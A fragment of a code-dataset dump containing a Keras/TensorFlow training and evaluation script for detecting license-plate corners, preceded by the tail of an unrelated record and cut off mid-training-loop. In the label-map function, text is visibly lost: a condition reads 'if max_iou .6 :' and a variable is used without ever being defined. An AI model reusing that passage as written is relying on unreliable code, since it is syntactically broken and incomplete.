GetDepartment().execute(params)\n","sub_path":"whrm/GetDepartment.py","file_name":"GetDepartment.py","file_ext":"py","file_size_in_byte":3107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"500169322","text":"from src.keras_utils import save_model\nfrom os import makedirs\nfrom os.path import isfile, isdir, basename, splitext \nimport keras\nimport argparse\nimport cv2\nimport numpy as np \nimport os\nimport tensorflow as tf \nfrom glob import glob\nimport matplotlib.pyplot as plt\nfrom keras import backend as K\nimport tensorflow \nfrom src.activation_function import *\nfrom keras.layers import Conv2D, MaxPooling2D, BatchNormalization, Add, Activation, Concatenate, Input, Dropout\nfrom keras.models import Model\n\nfrom src.keras_utils import decode_predict\nfrom shapely import geometry\n####\n\nimport random\nfrom src.utils import im2single, getWH, hsv_transform, IOU_centre_and_dims\nfrom src.label import Label\nfrom src.projection_utils import perspective_transform, find_T_matrix, getRectPts\n\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\"\n\ndef l1(true,pred,szs):\n b,h,w,ch = szs\n res = tf.reshape(true-pred,(b,h*w*ch))\n res = tf.abs(res)\n res = tf.reduce_sum(res,1)\n return res\n \ndef logloss(Ptrue,Pred,szs,eps=10e-10):\n alpha = 2.\n \n b,h,w,ch = szs\n Pred = tf.clip_by_value(Pred,eps,1.)\n Pred = -tf.log(Pred)\n \n Pred = Pred*Ptrue\n Pred = tf.reshape(Pred,(b,h*w*ch))\n Pred = tf.reduce_sum(Pred,1)\n return Pred\n\n\ndef loss(Ytrue, Ypred):\n\n b = tf.shape(Ytrue)[0]\n h = tf.shape(Ytrue)[1]\n w = tf.shape(Ytrue)[2]\n\n obj_probs_true = Ytrue[...,0]\n obj_probs_pred = Ypred[...,0]\n\n non_obj_probs_true = 1. - Ytrue[...,0]\n non_obj_probs_pred = Ypred[...,1]\n\n affine_pred\t= Ypred[...,2:]\n pts_true \t= Ytrue[...,1:]\n\n affinex = tf.stack([tf.maximum(affine_pred[...,0],0.),affine_pred[...,1],affine_pred[...,2]],3)\n affiney = tf.stack([affine_pred[...,3],tf.maximum(affine_pred[...,4],0.),affine_pred[...,5]],3)\n\n v = 0.5\n base = tf.stack([[[[-v,-v,1., v,-v,1., v,v,1., -v,v,1.]]]])\n base = tf.tile(base,tf.stack([b,h,w,1]))\n\n pts = tf.zeros((b,h,w,0))\n\n for i in range(0,12,3):\n row = base[...,i:(i+3)]\n ptsx = tf.reduce_sum(affinex*row,3)\n ptsy = tf.reduce_sum(affiney*row,3)\n\n pts_xy = tf.stack([ptsx,ptsy],3)\n pts = (tf.concat([pts,pts_xy],3))\n\n flags = tf.reshape(obj_probs_true,(b,h,w,1))\n res = 1.*l1(pts_true*flags,pts*flags,(b,h,w,4*2))\n \n res += 1.*logloss(obj_probs_true,obj_probs_pred,(b,h,w,1))\n res += 1.*logloss(non_obj_probs_true,non_obj_probs_pred,(b,h,w,1))\n \n return res\n\ndef iou_shapely(pts_1, pts_2):\n polygon_1 = geometry.Polygon([(p[0], p[1]) for p in pts_1])\n polygon_2 = geometry.Polygon([(p[0], p[1]) for p in pts_2])\n area_1 = polygon_1.area\n area_2 = polygon_2.area\n intersection_area = polygon_1.intersection(polygon_2).area\n union_area = area_1 + area_2 - intersection_area\n return intersection_area/union_area\n\ndef write_labelsf(fp,label_path,pts,text):\n fp.write('%d,' % 4)\n ptsarray = pts.flatten()\n fp.write(''.join([('%f,' % value) for value in ptsarray]))\n fp.write('%s,' % text)\n fp.write('\\n') \n\ndef get_correct_and_conf(predict_labels,real_labels,iou_thres,img,max_stage = False,draw=False):\n Ivehicle = img*255\n\n detected = []\n correct = []\n conf_list = []\n for label in predict_labels: \n x0, x1, x2, x3, y0, y1, y2, y3 = np.reshape(label.pts,-1)\n conf = label.prob()\n conf_list.append(conf) \n pred_pts = [(x0, y0), (x1, y1), (x2, y2), (x3, y3)] \n\n ious = []\n for real_pts in real_labels:\n iou = iou_shapely(pred_pts, real_pts)\n ious.append(iou) \n ious = np.array(ious)\n best_i = np.argmax(ious)\n\n # If overlap exceeds threshold and classification is correct mark as correct\n if ious[best_i] > iou_thres and best_i not in detected:\n correct.append(1)\n detected.append(best_i)\n else:\n correct.append(0)\n if draw==True:\n\n for i,real_pts in enumerate(real_labels): \n [(x0, y0), (x1, y1), (x2, y2), (x3, y3)] = real_pts\n h,w = np.shape(Ivehicle)[:2]\n pts2 = [(x0*w, y0*h), (x1*w, y1*h), (x2*w, y2*h), (x3*w, y3*h)] \n\n pts_arr = np.asarray([pts2[0],pts2[3],pts2[2],pts2[1]],np.int32) \n\n Ivehicle=cv2.polylines(Ivehicle,[pts_arr],True,(0,255,255),2)\n h,w = np.shape(Ivehicle)[:2]\n x0, x1, x2, x3, y0, y1, y2, y3 = np.reshape(label.pts,-1)\n pts2 = [(x0*w, y0*h), (x1*w, y1*h), (x2*w, y2*h), (x3*w, y3*h)] \n\n pts_arr = np.asarray([pts2[0],pts2[3],pts2[2],pts2[1]],np.int32) \n# Ivehicle=cv2.polylines(Ivehicle,[pts_arr],True,(255,0,0),2) \n\n return conf_list,correct,Ivehicle\n\ndef ap(tp, conf, n_gt):\n\n \"\"\" Compute the average precision, given the recall and precision curves.\n Method originally from https://github.com/rafaelpadilla/Object-Detection-Metrics.\n # Arguments\n tp: True positives (list).\n conf: Objectness value from 0-1 (list).\n pred_cls: Predicted object classes (list).\n n_sample_per_cls: Number samples per class (list).\n # Returns\n The average precision as computed in py-faster-rcnn.\n \"\"\"\n\n # lists/pytorch to numpy\n tp, conf = np.array(tp), np.array(conf)\n\n # Sort by objectness\n i = np.argsort(-conf)\n tp, conf = tp[i], conf[i]\n\n # Create Precision-Recall curve and compute AP for each class\n ap, p, r = [], [], []\n\n n_p = sum(i) # Number of predicted objects\n\n if (n_p == 0) or (n_gt == 0):\n ap.append(0)\n r.append(0)\n p.append(0)\n else:\n # Accumulate FPs and TPs\n fpc = np.cumsum(1 - tp[i])\n tpc = np.cumsum(tp[i])\n print(\"true positive: \",tpc[-1],\"false positive: \",fpc[-1],\"n_gt: \",n_gt,\" total positive results:\",(tpc[-1] + fpc[-1])) \n # Recall\n recall_curve = tpc*1.0 / (n_gt + 1e-16)\n r.append(tpc[-1]*1.0 / (n_gt + 1e-16))\n\n # Precision\n precision_curve = tpc*1.0 / (tpc + fpc)\n p.append(tpc[-1]*1.0 / (tpc[-1] + fpc[-1]))\n\n # AP from recall-precision curve\n ap.append(compute_ap(recall_curve, precision_curve))\n\n return np.array(ap), np.array(r), np.array(p)\n\n\ndef compute_ap(recall, precision):\n \"\"\" Compute the average precision, given the recall and precision curves.\n Code originally from https://github.com/rbgirshick/py-faster-rcnn.\n # Arguments\n recall: The recall curve (list).\n precision: The precision curve (list).\n # Returns\n The average precision as computed in py-faster-rcnn.\n \"\"\"\n # correct AP calculation\n # first append sentinel values at the end\n\n mrec = np.concatenate(([0.], recall, [1.]))\n mpre = np.concatenate(([0.], precision, [0.]))\n\n # compute the precision envelope\n for i in range(mpre.size - 1, 0, -1):\n mpre[i - 1] = np.maximum(mpre[i - 1], mpre[i])\n\n # to calculate area under PR curve, look for points\n # where X axis (recall) changes value\n i = np.where(mrec[1:] != mrec[:-1])[0]\n\n # and sum (\\Delta recall) * prec\n ap = np.sum((mrec[i + 1] - mrec[i]) * mpre[i + 1])\n\n return ap \ndef eval2(model, eval_data_generator,iou_thres=0.5): \n\n # val_dir = '../ETC_data/val'\n \n out_dir = './output_new28/' \n iou_thres=0.5\n lp_threshold = 0.1\n \n correct = []\n correct_max = []\n conf_list = []\n conf_list_max = []\n total_box = 0 \n count =0\n \n for i,data in enumerate(eval_data_generator):\n Xtrain, Ytrain,imgs_dir_list = data \n \n\n Yr_batch = model.predict(Xtrain) \n \n for j,(Iresized,Yr,real_labels,img_dir) in enumerate(zip(Xtrain,Yr_batch,Ytrain,imgs_dir_list)): \n \n file_name = img_dir.split(\"/\")[-1].split(\"\\\\\")[-1]\n folder_dir =img_dir.replace(file_name,\"\") \n total_box +=len(real_labels) \n predict_labels = decode_predict(Yr, Iresized, lp_threshold) \n \n \n if (len(predict_labels)): \n predict_labels_max = [predict_labels[0]] \n\n else: \n img_saved_path = out_dir +'no_prediction_'+file_name.split('.')[0]+'.png'\n cv2.imwrite(img_saved_path, Iresized)\n continue\n \n if len(real_labels) == 0: \n continue\n \n this_conf_list_max, this_correct_max,img = get_correct_and_conf(predict_labels_max, real_labels, iou_thres,Iresized,draw=True)\n \n \"\"\"\n if (i+1) %1 ==0 : \n if os.path.exists(out_dir) == False:\n os.makedirs(out_dir)\n if sum(this_correct_max) ==0:\n img_saved_path = out_dir +'incorrect_'+file_name.split('.')[0]+'.png'\n cv2.imwrite(img_saved_path, img)\n print(\"img_saved_path: \",img_saved_path)\n else:\n img_saved_path = out_dir +'correct_'+file_name.split('.')[0]+'.png'\n print(\"img_saved_path: \",img_saved_path) \n cv2.imwrite(img_saved_path, img)\n\n write_path = out_dir+file_name.split('.')[0]+\".txt\"\n # with open(write_path,'w') as fp: \n\n # for label in predict_labels_max:\n # x0, x1, x2, x3, y0, y1, y2, y3 = np.reshape(label.pts,-1)\n # pred_pts = np.array([x0, x1, x2, x3, y0, y1, y2, y3] )\n # write_labelsf(fp,write_path,pred_pts,'PLATE')\n\n\n # \"\"\"\n \n \n \n# print(\"correct:\")\n# print(np.sum(this_correct_max))\n# if os.path.exists(out_dir+folder_dir) == False:\n# os.makedirs(out_dir+folder_dir)\n# write_path = out_dir+folder_dir+file_name\n# img_saved_path = out_dir +folder_dir+file_name.split('.')[0]+'.png'\n \n \n correct_max +=this_correct_max \n conf_list_max+=this_conf_list_max \n \n print(\"maximum score method:\")\n AP_max, R_max, P_max = ap(tp=correct_max, conf=conf_list_max, n_gt = total_box)\n # Compute mean AP across all classes in this image, and append to image list\n print() \n print(\"AP_max: \", AP_max,\"R_max: \", R_max,\"P_max: \", P_max,\"total box:\",total_box, \"correct: \",np.sum(correct_max))\n return 0, 0,0,AP_max[0], R_max[0], P_max[0],0,np.sum(correct_max)\n\n\ndef ap(tp, conf, n_gt):\n\n \"\"\" Compute the average precision, given the recall and precision curves.\n Method originally from https://github.com/rafaelpadilla/Object-Detection-Metrics.\n # Arguments\n tp: True positives (list).\n conf: Objectness value from 0-1 (list).\n pred_cls: Predicted object classes (list).\n n_sample_per_cls: Number samples per class (list).\n # Returns\n The average precision as computed in py-faster-rcnn.\n \"\"\"\n\n # lists/pytorch to numpy\n tp, conf = np.array(tp), np.array(conf)\n\n # Sort by objectness\n i = np.argsort(-conf)\n tp, conf = tp[i], conf[i]\n\n # Create Precision-Recall curve and compute AP for each class\n ap, p, r = [], [], []\n\n n_p = sum(i) # Number of predicted objects\n\n if (n_p == 0) or (n_gt == 0):\n ap.append(0)\n r.append(0)\n p.append(0)\n else:\n # Accumulate FPs and TPs\n fpc = np.cumsum(1 - tp[i])\n tpc = np.cumsum(tp[i])\n print(\"true positive: \",tpc[-1],\"false positive: \",fpc[-1],\"n_gt: \",n_gt,\" total positive results:\",(tpc[-1] + fpc[-1])) \n # Recall\n recall_curve = tpc*1.0 / (n_gt + 1e-16)\n r.append(tpc[-1]*1.0 / (n_gt + 1e-16))\n\n # Precision\n precision_curve = tpc*1.0 / (tpc + fpc)\n p.append(tpc[-1]*1.0 / (tpc[-1] + fpc[-1]))\n\n # AP from recall-precision curve\n ap.append(compute_ap(recall_curve, precision_curve))\n\n return np.array(ap), np.array(r), np.array(p)\n\n\ndef compute_ap(recall, precision):\n \"\"\" Compute the average precision, given the recall and precision curves.\n Code originally from https://github.com/rbgirshick/py-faster-rcnn.\n # Arguments\n recall: The recall curve (list).\n precision: The precision curve (list).\n # Returns\n The average precision as computed in py-faster-rcnn.\n \"\"\"\n # correct AP calculation\n # first append sentinel values at the end\n\n mrec = np.concatenate(([0.], recall, [1.]))\n mpre = np.concatenate(([0.], precision, [0.]))\n\n # compute the precision envelope\n for i in range(mpre.size - 1, 0, -1):\n mpre[i - 1] = np.maximum(mpre[i - 1], mpre[i])\n\n # to calculate area under PR curve, look for points\n # where X axis (recall) changes value\n i = np.where(mrec[1:] != mrec[:-1])[0]\n\n # and sum (\\Delta recall) * prec\n ap = np.sum((mrec[i + 1] - mrec[i]) * mpre[i + 1])\n\n return ap \n\ndef labels2output_map(label,lppts,dim,stride): \n side = ((float(dim) + 40.)/2.)/stride # 7.75 when dim = 208 and stride = 16\n\n outsize = int(dim/stride)\n Y = np.zeros((outsize,outsize,2*4+1),dtype='float32')\n MN = np.array([outsize,outsize])\n WH = np.array([dim,dim],dtype=float)\n\n tlx,tly = np.floor(np.maximum(label.tl(),0.)*MN).astype(int).tolist()\n brx,bry = np.ceil (np.minimum(label.br(),1.)*MN).astype(int).tolist()\n max_iou = 0.0\n x_max = -1\n y_max= -1\n for x in range(tlx,brx):\n for y in range(tly,bry):\n\n mn = np.array([float(x) + .5, float(y) + .5]) \n iou = IOU_centre_and_dims(mn/MN,label.wh(),label.cc(),label.wh()) \n if max_iou .6 :\n p_WH = lppts*WH.reshape((2,1))\n p_MN = p_WH/stride\n\n p_MN_center_mn = p_MN - mn.reshape((2,1))\n\n p_side = p_MN_center_mn/side\n\n Y[y,x,0] = 1.\n\n\n Y[y,x,1:] = p_side.T.flatten()\n if x_max>0 and y_max >0: \n # trong feature map it nhat co 1 cell duoc activate, do la cell co iou lon nhat\n Y[y_max,x_max,0] = 1. \n Y[y_max,x_max,1:] = p_side_max.T.flatten()\n\n return Y\n\n\ndef pts2ptsh(pts):\n return np.matrix(np.concatenate((pts, np.ones((1, pts.shape[1]))), 0))\n\n\ndef project(I, T, pts, dim):\n ptsh = np.matrix(np.concatenate((pts, np.ones((1, 4))), 0))\n ptsh = np.matmul(T, ptsh)\n ptsh = ptsh / ptsh[2]\n ptsret = ptsh[:2]\n ptsret = ptsret / dim\n Iroi = cv2.warpPerspective(I, T, (dim, dim), borderValue=.0, flags=cv2.INTER_LINEAR)\n return Iroi, ptsret\n\n\ndef flip_image_and_pts(I, pts):\n I = cv2.flip(I, 1)\n pts[0] = 1. - pts[0]\n idx = [1, 0, 3, 2]\n pts = pts[..., idx]\n return I, pts\n\ndef augment_sample(I, pts, dim):\n maxsum, maxangle = 120, np.array([30., 30., 20.])\n angles = np.random.rand(3) * maxangle\n if angles.sum() > maxsum:\n angles = (angles / angles.sum()) * (maxangle / maxangle.sum())\n\n I = im2single(I)\n\n\n prob = random.random() \n\n iwh = getWH(I.shape) \n pts = pts * iwh.reshape((2, 1))\n \n wsiz = (max (pts[0,:])-min(pts[0,:]))\n hsiz = (max (pts[1,:])-min(pts[1,:]))\n dx = random.uniform(0., dim - wsiz)\n dy = random.uniform(0., dim - hsiz)\n deltax = pts[0,0]-dx\n deltay = pts[1,0]-dy\n pph=np.matrix([\n [pts[0,0]-deltax,pts[0,1]-deltax,pts[0,2]-deltax,pts[0,3]-deltax],\n [pts[1,0]-deltay,pts[1,1]-deltay,pts[1,2]-deltay,pts[1,3]-deltay],\n [1.,1.,1.,1.]],\n dtype=float)\n T = find_T_matrix(pts2ptsh(pts), pph)\n\n H = perspective_transform((dim, dim), angles=np.array([0., 0., 0.]))\n H = np.matmul(H, T) \n\n Iroi, pts = project(I, H, pts, dim)\n\n# hsv_mod = np.random.rand(3).astype('float32')\n# hsv_mod = (hsv_mod - .5) * .3\n# hsv_mod[0] *= 360\n# Iroi = hsv_transform(Iroi, hsv_mod)\n# Iroi = np.clip(Iroi, 0., 1.)\n\n pts = np.array(pts)\n \n\n tl, br = pts.min(1), pts.max(1)\n llp = Label(0, tl, br) \n return Iroi, llp, pts\n\n\nclass DataGenerator(keras.utils.Sequence):\n 'Generates data for Keras'\n\n def __init__(self, imgs_dir, labels, image_folder, val=False, batch_size=32, dim=208, n_channels=3, model_stride=16):\n 'Initialization'\n self.dim = dim\n self.batch_size = batch_size\n self.labels = labels\n self.imgs_dir = imgs_dir\n self.image_folder = image_folder\n self.model_stride = model_stride\n self.val = val\n self.n_channels = n_channels\n self.dim = dim\n\n # self.on_epoch_start()\n\n def __len__(self):\n 'Denotes the number of batches per epoch'\n return int(np.floor(len(self.labels) / self.batch_size))\n\n def __getitem__(self, index):\n 'Generate one batch of data'\n # Generate indexes of the batch\n if index == 0:\n self.on_epoch_start()\n indexes = self.indexes[index * self.batch_size:(index + 1) * self.batch_size]\n # Generate data\n X, y, imgs_dir_list = self.__data_generation(indexes)\n return X, y, imgs_dir_list\n\n def on_epoch_start(self):\n 'Updates indexes before each epoch'\n\n self.indexes = np.arange(len(self.labels))\n\n if self.val == False:\n np.random.shuffle(self.indexes)\n\n def __data_generation(self, indexes):\n 'Generates data containing batch_size samples' # X : (n_samples, *dim, n_channels)\n\n if self.val == False:\n X = np.empty((self.batch_size, self.dim, self.dim, self.n_channels))\n y = []\n imgs_dir_list = []\n for i, idx in enumerate(indexes):\n img_path = self.image_folder + self.imgs_dir[idx]\n img_paths = glob(os.path.join(img_path))\n # print(\"img_path:\",img_path)\n img = cv2.imread(img_paths[0])\n # Store class\n pts_label = self.readShapes2(self.labels[idx])\n # plt.imshow(img)\n # plt.show()\n\n augment_img, pts_label, pts = self.process_data_item(img, pts_label[0], self.dim, self.model_stride)\n X[i,] = augment_img\n # print(\"pts_label\",np.shape(pts_label))\n y.append(pts_label)\n # show img\n # plt.imshow(augment_img)\n # plt.show()\n # show img with polygon\n image_size = np.shape(augment_img)[0]\n pts2 = np.transpose(np.asarray(pts))\n\n pts2 = pts2.reshape((-1, 1, 2)) * image_size\n pts2 = np.asarray(pts2, np.int32)\n # cv2.polylines(augment_img,[np.asarray([pts2[0],pts2[3],pts2[2],pts2[1]],np.int32)],True,(0,255,255),2)\n # plt.imshow(augment_img)\n # plt.show()\n # show optimal ground truth\n # print(\"YY shape,\",np.shape(pts_label))\n # plt.imshow(pts_label[:,:,0]*255 )\n # plt.show()\n imgs_dir_list.append(self.imgs_dir[idx])\n\n return np.asarray(X), np.asarray(y), imgs_dir_list\n else:\n X = []\n y = []\n imgs_dir_list = []\n for i, idx in enumerate(indexes):\n img_path = self.image_folder + self.imgs_dir[idx]\n img_paths = glob(os.path.join(img_path))\n # print(\"img_path:\",img_path)\n img = cv2.imread(img_paths[0])\n img = cv2.resize(im2single(img), (self.dim, self.dim))\n X.append(img)\n y.append(self.read_labelsf2(self.labels[idx]))\n imgs_dir_list.append(self.imgs_dir[idx])\n # Store class\n return np.asarray(X), np.asarray(y), imgs_dir_list\n\n def readShapes(self, path):\n shapes = []\n with open(path) as fp:\n for line in fp:\n pts = self.read_label(line)\n shapes.append(pts)\n break\n return shapes\n\n def readShapes2(self, lines):\n shapes = []\n # print(lines)\n for line in lines:\n pts = self.read_label(line)\n shapes.append(pts)\n break\n return shapes\n\n def read_label(self, line):\n data = line.strip().split(',')\n ss = int(data[0])\n values = data[1:(ss * 2 + 1)]\n text = data[(ss * 2 + 1)] if len(data) >= (ss * 2 + 2) else ''\n pts = np.array([float(value) for value in values]).reshape((2, ss))\n text = text\n return pts\n\n def process_data_item(self, img, pts_label, dim, model_stride):\n XX, llp, pts = augment_sample(img, pts_label, dim)\n YY = labels2output_map(llp, pts, dim, model_stride)\n return XX, YY, pts\n\n def read_labelsf2(self, lines):\n labels = []\n for line in lines:\n data = line.strip().split(',')\n ss = int(data[0])\n values = data[1:(ss * 2 + 1)]\n\n x0, x1, x2, x3, y0, y1, y2, y3 = np.array([float(value) for value in values])\n pts = [(x0, y0), (x1, y1), (x2, y2), (x3, y3)]\n labels.append(pts)\n return labels\n\n\ndef res_block_mish(x,sz,filter_sz=3, down=False, up_size=False, pooling=False):\n if(up_size==True):\n x = Conv2D(sz, 1, activation='linear', padding='same', strides=(1,1), bias=False)(x)\n x = BatchNormalization()(x)\n if(pooling==True):\n xi = x\n else:\n xi = Mish()(x)\n if(down==False):\n x_linear = x #get linear\n xi = Conv2D(sz, filter_sz, activation='linear', padding='same', strides=(1,1))(xi)\n xi = BatchNormalization()(xi)\n xi = Mish()(xi)\n else:\n x_linear = MaxPooling2D(pool_size=(2,2))(x)\n xi = Conv2D(sz, filter_sz, activation='linear', padding='same', strides=(2,2))(xi)\n xi = BatchNormalization()(xi)\n xi = Mish()(xi)\n\n xi = Conv2D(sz, filter_sz, activation='linear', padding='same')(xi)\n xi = BatchNormalization()(xi)\n \n xi = Add()([xi,x_linear]) #concate\n return xi\n\ndef end_block(x):\n xprobs = Conv2D(2, 3, activation='softmax', padding='same')(x)\n xbbox = Conv2D(6, 3, activation='linear', padding='same')(x)\n return Concatenate(3)([xprobs, xbbox])\n \ndef create_model_resnet_cus():\n print(\"Model cus resnet cus 2 branchhhhhhhhhhhhhhhhhhhhhhhh\\n--------------------------------------------------------\")\n input_layer = Input(shape=(None,None,3),name='input')\n \n x = Conv2D(32, 5, activation='linear', padding='same', strides=(2,2))(input_layer)\n x = BatchNormalization()(x)\n# x = Mish()(x)\n x = MaxPooling2D(pool_size=(2,2))(x)\n \n x_branch1 = Conv2D(32, 3, activation='linear', padding='same', strides=(1,1))(x)\n x_branch1 = BatchNormalization()(x_branch1)\n x = res_block_mish(x,32, pooling=True)\n x_branch1 = Add()([x, x_branch1])\n x_branch1 = Mish()(x_branch1)\n \n x_branch1 = Conv2D(32, 3, activation='linear', padding='same', strides=(1,1))(x_branch1)\n x_branch1 = BatchNormalization()(x_branch1)\n x = res_block_mish(x,32)\n x_branch1 = Add()([x, x_branch1])\n x_branch1 = Mish()(x_branch1)\n \n x_branch1 = Conv2D(64, 3, activation='linear', padding='same', strides=(2,2))(x_branch1)\n x_branch1 = BatchNormalization()(x_branch1)\n x = res_block_mish(x,64, down=True, up_size=True)\n x_branch1 = Add()([x, x_branch1])\n x_branch1 = Mish()(x_branch1)\n x_branch2 = Mish()(x)\n \n x_branch2 = Conv2D(64, (5,1), activation='linear', padding='same', strides=(1,1))(x_branch2)\n x_branch2 = Conv2D(64, (1,5), activation='linear', padding='same', strides=(1,1))(x_branch2)\n x_branch2 = BatchNormalization()(x_branch2)\n x_branch1 = Conv2D(64, 3, activation='linear', padding='same', strides=(1,1))(x_branch1)\n x_branch1 = BatchNormalization()(x_branch1)\n x = res_block_mish(x,64)\n x_branch1 = Add()([x, x_branch1])\n x_branch1 = Mish()(x_branch1)\n x_branch2 = Add()([x, x_branch2])\n x_branch2 = Mish()(x_branch2)\n \n x_branch2 = Conv2D(128, (5,1), activation='linear', padding='same', strides=(2,2))(x_branch2)\n x_branch2 = Conv2D(128, (1,5), activation='linear', padding='same', strides=(1,1))(x_branch2)\n x_branch2 = BatchNormalization()(x_branch2)\n x_branch1 = Conv2D(128, 3, activation='linear', padding='same', strides=(2,2))(x_branch1)\n x_branch1 = BatchNormalization()(x_branch1)\n x = res_block_mish(x,128, down=True, up_size=True)\n x_branch1 = Add()([x, x_branch1])\n x_branch1 = Mish()(x_branch1)\n x_branch2 = Add()([x, x_branch2])\n x_branch2 = Mish()(x_branch2)\n \n x_branch2 = Conv2D(128, (5,1), activation='linear', padding='same', strides=(1,1))(x_branch2)\n x_branch2 = Conv2D(128, (1,5), activation='linear', padding='same', strides=(1,1))(x_branch2)\n x_branch2 = BatchNormalization()(x_branch2)\n x_branch1 = Conv2D(128, 3, activation='linear', padding='same', strides=(1,1))(x_branch1)\n x_branch1 = BatchNormalization()(x_branch1)\n x = res_block_mish(x,128)\n x_branch1 = Add()([x, x_branch1])\n x_branch1 = Mish()(x_branch1)\n x_branch2 = Add()([x, x_branch2])\n x_branch2 = Mish()(x_branch2)\n \n x_branch2 = Conv2D(256, (5,1), activation='linear', padding='same', strides=(1,1))(x_branch2)\n x_branch2 = Conv2D(256, (1,5), activation='linear', padding='same', strides=(1,1))(x_branch2)\n x_branch2 = BatchNormalization()(x_branch2)\n x_branch1 = Conv2D(256, 3, activation='linear', padding='same', strides=(1,1))(x_branch1)\n x_branch1 = BatchNormalization()(x_branch1)\n x = res_block_mish(x,256, up_size=True)\n x_branch1 = Add()([x, x_branch1])\n x_branch1 = Mish()(x_branch1)\n x_branch2 = Add()([x, x_branch2])\n x_branch2 = Mish()(x_branch2)\n \n x_branch2 = Conv2D(256, (5,1), activation='linear', padding='same', strides=(1,1))(x_branch2)\n x_branch2 = Conv2D(256, (1,5), activation='linear', padding='same', strides=(1,1))(x_branch2)\n x_branch2 = BatchNormalization()(x_branch2)\n x_branch1 = Conv2D(256, 3, activation='linear', padding='same', strides=(1,1))(x_branch1)\n x_branch1 = BatchNormalization()(x_branch1)\n x = res_block_mish(x,256)\n x = Add()([x, x_branch1, x_branch2])\n# x_branch1 = Mish()(x_branch1)\n x = Mish()(x)\n \n \n x = end_block(x)\n\n return Model(inputs=input_layer,outputs=x)\n\ndef load_model(path, custom_objects={}, verbose=0): \n\n path = splitext(path)[0]\n model = create_model_resnet_cus()\n# model.summary()\n # model = create_model_mobnet()\n # model = create_model_DenseNet121()\n if path != '':\n model.load_weights('%s.h5' % path)\n if verbose: print('Loaded from %s' % path)\n return model\n\n\ndef load_network(modelpath, input_dim=208):\n model = load_model(modelpath)\n input_shape = (input_dim, input_dim, 3)\n\n # Fixed input size for training\n inputs = keras.layers.Input(shape=(input_dim, input_dim, 3))\n outputs = model(inputs)\n\n output_shape = tuple([s.value for s in outputs.shape[1:]])\n output_dim = output_shape[1]\n model_stride = input_dim / output_dim\n\n print(\"model_stride:\", model_stride)\n print(\"input_dim: \", input_dim)\n print(\"output_dim: \", output_dim)\n\n assert input_dim % output_dim == 0, \\\n 'The output resolution must be divisible by the input resolution'\n\n # assert model_stride == 2 ** 4, \\\n # 'Make sure your model generates a feature map with resolution ' \\\n # '16x smaller than the input'\n\n return model, model_stride, input_shape, output_shape\n\n\n#####\n \ndef read_data(name_file):\n \n data={}\n data['img_dir']=[]\n data['annotation']=[]\n\n f = open(name_file, \"r\")\n\n data_str = f.read()\n\n anns = data_str.split(\"image/bienso/\")\n print(len(anns))\n for ann in anns:\n ann_lines = ann.split(\"\\t\")\n if(len(ann_lines) < 2):\n continue\n data['img_dir'].append(ann_lines[0]) \n ann=[]\n anns2 = ann_lines[1].split('\\n') \n for idx in range(len(anns2)-1):\n ann.append(anns2[idx])\n data['annotation'].append(ann)\n \n print(\"Len ann: \", len(data['annotation']))\n print(\"Len img_dir: \", len(data['img_dir']))\n \n return data\n\ndef main():\n parser = argparse.ArgumentParser()\n\n parser.add_argument('-m', '--model', default='', type=str,\n help='Path to previous model')\n parser.add_argument('-n', '--name', default='my-trained-model', type=str, help='Model name')\n parser.add_argument('-tr', '--train-dir', default='../utvm_data_new/train', type=str,\n help='Input data directory for training')\n parser.add_argument('-va', '--val-dir', type=str, default=\"../utvm_data/val \",\n help='Input data directory for validation')\n parser.add_argument('-its', '--iterations', type=int, default=30000,\n help='Number of mini-batch iterations (default = 300.000)')\n parser.add_argument('-bs', '--batch-size', type=int, default=32, help='Mini-batch size (default = 32)')\n parser.add_argument('-od', '--output-dir', type=str, default='./', help='Output directory (default = ./)')\n parser.add_argument('-op', '--optimizer', type=str, default='Adam', help='Optmizer (default = Adam)')\n parser.add_argument('-lr', '--learning-rate', type=float, default=.0001, help='Optmizer (default = 0.01)')\n args = parser.parse_args()\n\n netname = basename(args.name)\n train_dir = args.train_dir\n outdir = args.output_dir\n val_dir = args.val_dir\n\n iterations = args.iterations\n batch_size = args.batch_size\n \n# print(\"\\nbatch_size:\", batch_size)\n# print(\"args.model: \", args.model)\n# print(\"output_dir:\", outdir)\n# print(\"train dir: \", train_dir)\n# print(\"val dir: \", val_dir)\n# print(\"Learning rate: \", args.learning_rate)\n \n model_path_backup = '%s/%s_backup' % (outdir, netname)\n model_path_backup_max = '%s/%s_backup_max' % (outdir, netname)\n model_path_final = '%s/%s_file' % (outdir, netname)\n model_path_final_max = '%s/%s_file_max' % (outdir, netname)\n if not isdir(outdir):\n makedirs(outdir)\n best_ap =0.0\n best_ap_max = 0.0\n f_max = open(outdir + \"/train_log_max.txt \", \"a\")\n f_max.write('start train\\n')\n mean_loss = 0.0\n dim = 208\n iter_num = 50\n \n\n \n graph = tf.Graph()\n \n with graph.as_default():\n session_config = tf.ConfigProto()\n session_config.gpu_options.allow_growth = True\n session = tf.Session(config=session_config)\n with session.as_default():\n model, model_stride, xshape, yshape = load_network(args.model, dim)\n \n ####\n model.summary()\n print(\"\\nbatch_size:\", batch_size)\n print(\"args.model: \", args.model)\n print(\"output_dir:\", outdir)\n print(\"train dir: \", train_dir)\n print(\"val dir: \", val_dir)\n print(\"Learning rate: \", args.learning_rate)\n# return \n ####\n \n opt = getattr(keras.optimizers, args.optimizer)(lr=args.learning_rate)\n model.compile(loss=loss, optimizer=opt)\n\n train_data = read_data(\"/data/anhnt2/utvm_data_split/new_1008/bienso_train_T10_clear.txt\")\n test_data = read_data(\"/data/anhnt2/utvm_data_split/new_1008/bienso_test_T10_clear.txt\")\n\n# train_data = read_data(\"/data/anhnt2/utvm_data_split/stanford/bienso_stanford_train.txt\")\n# test_data = read_data(\"/data/anhnt2/utvm_data_split/stanford/bienso_stanford_test.txt\")\n \n image_folder=\"/data/tagging_utvm/bienso/\"\n\n training_generator = DataGenerator(\n train_data['img_dir'], \n train_data['annotation'],\n image_folder, \n dim=208,\n batch_size=batch_size)\n\n test_generator = DataGenerator(\n test_data['img_dir'], \n test_data['annotation'],\n image_folder, \n dim=416,\n val=True,\n batch_size=32)\n \n h_list = []\n w_list = []\n\n AP, R, P, AP_max, R_max, P_max, num_correct, num_correct_max = eval2(model, test_generator)\n best_ap_max = AP_max \n\n it = 0\n # return\n it_num = 0 \n mean_loss=0\n print(\"training_generator.__len__():\",training_generator.__len__())\n for epoch in range(100000):\n print(\"epoch:\", epoch, \" batch size:\", batch_size)\n \n for data in training_generator:\n 